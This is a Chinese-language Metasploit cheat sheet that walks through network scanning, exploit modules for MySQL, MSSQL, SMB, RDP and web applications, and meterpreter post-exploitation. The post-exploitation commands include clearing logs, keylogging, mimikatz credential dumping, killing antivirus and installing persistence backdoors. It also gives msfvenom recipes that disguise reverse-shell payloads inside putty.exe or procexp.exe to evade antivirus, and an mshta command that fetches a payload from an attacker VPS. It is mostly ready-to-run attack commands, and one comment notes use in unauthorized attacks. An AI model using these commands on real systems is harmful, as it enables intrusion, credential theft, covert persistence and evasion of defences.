1.首先基于MSF的资产收集
网络主机收集:
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/discovery/arp_sweep
use auxiliary/scanner/dns/dns_amp 基于DNS找存活主机,端口为53
use auxiliary/scanner/netbios/nbname 基于nbname找存活主机,端口为137
use auxiliary/scanner/http/title 端口为80
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/tcp 指定网段探寻端口
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/xmas
内网服务收集:
搜寻http服务:use auxiliary/scanner/http/http_version 端口80
搜寻smb服务:use auxiliary/scanner/smb/smb_version 端口445
搜寻ftp服务: use auxiliary/scanner/ftp/ftp_version 端口21
搜寻ssh服务: use auxiliary/scanner/ssh/ssh_version 端口22
搜寻talnet服务: use auxiliary/scanner/telnet/telnet_version 端口23
搜寻mysql服务: use auxiliary/scanner/mysql/mysql_version 端口3306
搜寻db2服务: use auxiliary/scanner/db2/db2_version 端口50000
搜寻rdp服务:use auxiliary/scanner/rdp/rdp_scanner 端口3389
搜寻smtp服务:use auxiliary/scanner/smtp/smtp_version 端口25
2.关于MSF攻击的命令
1.首先关于msf常用的payload
windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
linux:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
2.关于mysql
use auxiliary/scanner/mysql/mysql_login 用于内网中的批量以及单主机的登录测试(可用作暴力破解)。
use exploit/multi/mysql/mysql_udf_payload 用于root启动的mysql 并root的udf提权.
需设置payload: set payload windows/meterpreter/bind_tcp
use exploit/windows/mysql/mysql_mof 提权,与udf类似
use auxiliary/scanner/mssql/mssql_ping 这个也可以用来扫描mssql服务。
use exploit/windows/mysql/scrutinizer_upload_exec 上传文件执行。
use auxiliary/admin/mysql/mysql_sql 执行sql语句
3.关于sqlserver
use auxiliary/admin/mssql/mssql_enum 可以看见非常详细的sqlserver信息
use auxiliary/admin/mssql/mssql_enum_sql_logins 枚举sql logins,速度较慢
use auxiliary/admin/mssql/mssql_escalate_dbowner 发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透 ??????
use auxiliary/admin/mssql/mssql_exec 当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令 权限继承 Sql server。
用法:
set CMD cmd.exe /c whoami即可 然后exploit/run
use auxiliary/admin/mssql/mssql_sql 如果熟悉Sql server 数据库特性,以及sql语句,使用该模块
use auxiliary/admin/mssql/mssql_sql_file 当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用 较少,非授权应用较多的模块。
use use auxiliary/scanner/mssql/mssql_login 批量发现内网mssql主机
use exploit/windows/mssql/mssql_payload 非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传 payload。
use exploit/windows/misc/hta_server //使用hta提权到msf上 然后在目标机器上执行mshta.exe http://VPS_IP:8080/IAKWSlu.hta
3.关于FTP
use auxiliary/scanner/ftp/ftp_login 于内网中的批量以及单主机的登录测试。
use auxiliary/scanner/ftp/anonymous 发现存活的ftp主机,是否存在匿名登录
ps:在该模块下,可以使用nmap来辅佐, db_nmap -sS -T4 -p21 192.168.1.0/24
use auxiliary/fuzzers/ftp/ftp_pre_post ftp本地模糊测试辅助模块
4.关于smb
use exploit/windows/smb/smb_login //爆破smb
use exploit/windows/smb/smb_scanner //爆破smb
use exploit/windows/smb/psexec_psh 跟psexec差不多,抓hash
use auxiliary/admin/smb/psexec_ntdsgrab //抓取ntds.dit和sysyem, hiv文件
use exploit/windows/smb/smb_relay //smb中继攻击,实质是ms08_068,监听端口,在域内执行ipc时会被抓hash
use auxiliary/server/capture/smb //抓取hash
5.关于RDP
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //cve 0708
use exploit/multi/vnc/vnc_keyboard_exec //关于vnc的
6.其他
1.use exploit/multi/handler //msf监听模块
exploit/multi/script/web_delivery //基于Powershell的
2.use exploit/windows/smb/psexec //利用msf启动psexec
3.use exploit/windows/smb/psexec_psh //pass hash
4.use exploit/windows/local/ms15_051_client_copy_image //利用ms15_051
5.use exploit/windows/local/bypassuac //绕过uac,一般绕不过去
6.use post/windows/gather/hashdump //抓hash
7.use post/windows/gather/smart_hashdump //导出hash,须有system权限
8.use exploit/windows/local/always_install_elevated //提权
9.use exploit/windows/fileformat/office_word_hta //利用.rtf文件生成可执行的.hta脚本来托管
10.use exploit/multi/samba/usermap_script //samba的exp
11.use exploit/unix/irc/unreal_ircd_3281_backdoor //IRC服务,端口6697的EXP
12.use exploit/multi/http/playsms_uploadcsv_exec //playsms的RCE的EXP
13.use expliot/unix/webapp/drupal_drupalgeddon2 //drupal的exp
14.use auxiliary/scanner/redis/file_upload normal Redis File Upload
15.use auxiliary/scanner/redis/redis_login normal Redis Login Utility
16.use auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
17.use exploit/multi/http/jenkins_script_console //jenkins的exp
18.use auxiliary/scanner/nfs/nfsmount //关于2049 nfs的
19.use exploit/windows/iis/iis_webdav_scstoragepathfromurl //iis的exp
20.use exploit/multi/script/web_delivery //关于转化shell的,假如用koadic打下来的,可以转到msf
21.use exploit/multi/http/moodle_cmd_exec //moodle的exp
22.use post/multi/recon/local_exploit_suggester //对比打了哪些补丁,能否提权
23.use exploit/multi/browser/firefox_proto_crmfrequest //关于浏览器攻击拿shell的
24.use exploit/multi/http/tomcat_mgr_deploy //登入tomcat后布置war包拿shell
25.use exploit/multi/http/lcms_php_exec //lotuscms的exp
26.use auxiliary/admin/http/joomla_registration_privesc //关于joomla的扫描
27.use exploit/multi/misc/java_jmx_server //关于jmx的反序列化
3.关于MSF的端口转发:
1.基于portfwd的端口转发
这个需要跳到meterpreter,首先use exploit/multi/handler
然后在set PAYLOAD windows/meterpreter/reverse_tcp
若靶机的ip为192.168.1.119 需要转发的端口为80,3389。
我们可以session -i查看反弹回来的机器,session -i 具体数字选择进入相应的交互模式
portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
portfwd
Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80
4.关于meterpreter的使用技巧.
1.clearev //清除日志
2.getsystem //提权
3.keyscan_start && keyscan_dump //记录键盘
4.migrate -p 2108 //迁移进程,如果失败,可尝试load stdapi
5.screenhot //截屏
6.download c:\\users\\1.txt /home/Desktop //下载,后面是自己的位置
7.upload /home/Desktop/1.php c:\\users\\desktop//上传,后面是靶机的位置。
8.execute -f notepad.exe //执行命令
9.shell //返回交互式命令行界面
10.load incognito //加载incognito
11.load powershell&&powershell_shell //加载powershell插件&&以Powershell的格式来提示而不是cmd的形式。
12.exploit/windows/local/registry_persistence
exploit/windows/local/vss_persistence
exploit/windows/local/s4u_persistence //利用给注册表加载shellcode,然后再用ps加载,运行meterpreter
13.load mimikatz //加载mimikatz
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
14.run post/windows/gather/checkvm //查看是否是虚拟机
run post/windows/gather/smart_hashdump //查看hash
run post/windows/gather/enum_ie //查看浏览器的cookie,访问记录
run killav //关杀软进程
run vnc //检测对方桌面
run persistence -U -i 30 -p 2333 攻击机ip //维持权限 U用户登录时启动后门,X是系统启动时。 i是shell交互的时间
15.load powershell
powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS Copy-VSS -DestinationDir C:\
5.关于MSF的免杀
1.首先说说关于修改文件的属性
修改文件属性就是修改文件的MACE值,可以帮助掩盖文件在系统上的活动。
1.首先使用Timestomp修改文件属性
timesomp 1.txt -v :查看文件的属性
timesomp 1.txt -b :清空文件所有属性
timesomp 1.txt ./ -r : 归地清空当前目录中的所有文件
timesomp 1.txt -m :修改文件属性
2.关于用msfvenom绕杀软:
(1)尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀(mutil/handler里头)
msfvenom -p windows/meterpreter/reverse_https
使用reverse_https等payload可以换成anti symantec,然后在mutil/handle设置
1.set EnableStageEncoding true
2.set stageencoder x86/fnstenv_mov
3.set stageencodingfallback false
(2)在msfvenom里面加上-e x86/shikata_ga_nai -i 5 加上这2个参数
(3)在msfvenom里面加上-x notepad.exe
(4)msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=xinxin -f c
(5)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe //多次编码
(6)先去下载一个压缩软件 wget xxxxx/xxx/xxx/xx.zip 然后用unzip解压
msfvenom -p windows/shell_reverse_tcp LHOST=(ip) LPORT=8080-e x86/shikata_ga_nai -x Desktop/procexp.exe -i 5 -f exe -o /Desktop/backdoor.exe 以解压的exe做为模板
set paylaod windows/shell/reverse_tcp
6.关于msfvenom命令
1.msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi //制作生成包
2.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f psh-reflection -o xinxin.ps1 //生成ps的paylaod
3.-e cmd/powershell_base64 //在cmd中运行,弹回powershell
4.msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o x86_shell.war //部署java的war包
6.4
7.MSF能加载的其他软件
1.sqlmap load sqlmap
2.incognito load incognito
3.nmap load nmap
8.关于MSF的后渗透
1.msf exploit(multi/handler) > set ExitOnSession false //经常会遇到假session或者刚连接就断开的情况,经常会遇到假session或者刚连接就断开的情况
2.set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
3.set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
4.msf exploit(multi/handler) > exploit -j -z //在后台持续监听,-j是后台任务,-z是持续监听 jobs -k是全部结束。handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp 也可以这样
5.